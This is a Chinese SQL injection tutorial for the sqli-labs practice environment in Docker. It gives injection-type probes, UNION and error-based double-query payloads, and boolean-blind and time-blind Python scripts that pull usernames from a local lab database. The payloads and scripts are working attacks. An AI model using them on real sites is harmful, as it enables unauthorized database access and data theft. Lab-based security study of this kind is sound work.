2025年3月15日 星期六 甲辰(龙)年 月十四 设为首页 加入收藏
rss
您当前的位置:首页 > 计算机 > 安全防护

SQL注入基础学习

时间:11-06来源:作者:点击数:34

练习环境sqli-labs

在docker中配置sqli-labs,关于docker的安装可以参考前面的文章,这里不做描述

  • docker search sqli-labs 搜索镜像
  • docker pull acgpiano/sqli-labs 拉取镜像
  • docker run -dt --name NAME(别名) -p 80:80 --rm acgpiano/sqli-labs 运行镜像
  • docker exec -it ID /bin/bash 进入终端,其中ID为容器ID,通过docker ps查找

运行镜像之后通过访问IP地址即可进入练习环境,首先要先点击第二行的setup再开始注入练习

在这里插入图片描述

注入类型判断

数字型

  • ?id=1 and 1=1
  • ?id=1 and 1=2

字符型

  • ?id=1' and '1'='1
  • ?id=1' and '1'='2

当然,在注入过程中不能局限于使用单引号’,也可以使用",’),’)),"),"))等进行组合探测

联合查询

1、使用order by判断列数

sql语句:select id,name from myclass order by 2;

如果order by后面的数字超过前面的字段数则会报错,所以可以据此来猜解列数

注意:如果order by后面跟sql语句,该语句不会被执行,只会被当作字符串,输出结果都为真

比如order by (select 1 and 2=3),后面语句不会被执行

  • order by num--+

其中--+是注释符号,可以对后面的内容进行注释,但如果使用#注释的话需使用url编码,变成%23才有效

2、联合查询

联合查询union select后的字段数也是要跟前面一致,所以要先进行步骤一的判断列数

举例:使用union select 1,2,database()--+爆出当前数据库

在这里插入图片描述
在这里插入图片描述

报错查询(双查询)

双查询可用在没有正确回显,只有错误回显的地方

  • 关键函数:
  • rand() 是一个生成随机数的函数,他会返回01之间到一个值
  • floor() 是取整函数,向下取整
  • count() 是一个聚合函数,用户返回符合条件的记录数量

注入语句,查询数据库版本

  • union select 1,count(*),concat((select version()),0x7e,floor(rand()*2)) as a from information_schema.tables group by a --+

查询字段内容,由于行数限制,可以使用limit进行配合查询

  • union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e,floor(rand()*2)) as a from information_schema.tables group by a--+

布尔盲注

  • and substr((查询命令),1,1)='%s'--+
  • and substr((select user()),1,1)='e'--+ 查询当前用户,需要一个一个字符去做判断

可通过python脚本进行自动化查找

  • import requests
  • def database_name():
  • name = ''
  • for j in range(1, 10):
  • for i in 'abcdefghigklmnopqrstuvwxyz_':
  • url = "http://127.0.0.1/Less-8/?id=1' and substr((select username from security.users limit 0,1),%d,1)='%s'" % (j, i)
  • r = requests.get(url + '%23')
  • if 'You are in' in r.text:
  • name = name + i
  • print(name)
  • break
  • print('database_name:', name)
  • database_name()

时间盲注

利用if(条件,0,1)函数,当条件为真,返回0,假则返回1

if(1=1,sleep(5),1)条件为真执行延时函数

时间注入脚本

  • def database_name():
  • name = ''
  • for j in range(1, 9):
  • for i in '0123456789abcdefghijklmnopqrstuvwxyz_':
  • url = '''http://127.0.0.1/Less-9/'''
  • payload = '''?id=1' and if(substr((select username from security.users limit 1,1),%d,1)='%s',sleep(1),1)''' % (j, i)
  • time1 = datetime.datetime.now()
  • r = requests.get(url + payload + '%23')
  • time2 = datetime.datetime.now()
  • sec = (time2 - time1).seconds
  • if sec >= 1:
  • name += i
  • print(name)
  • break
  • print('database_name:', name)
  • database_name()
方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门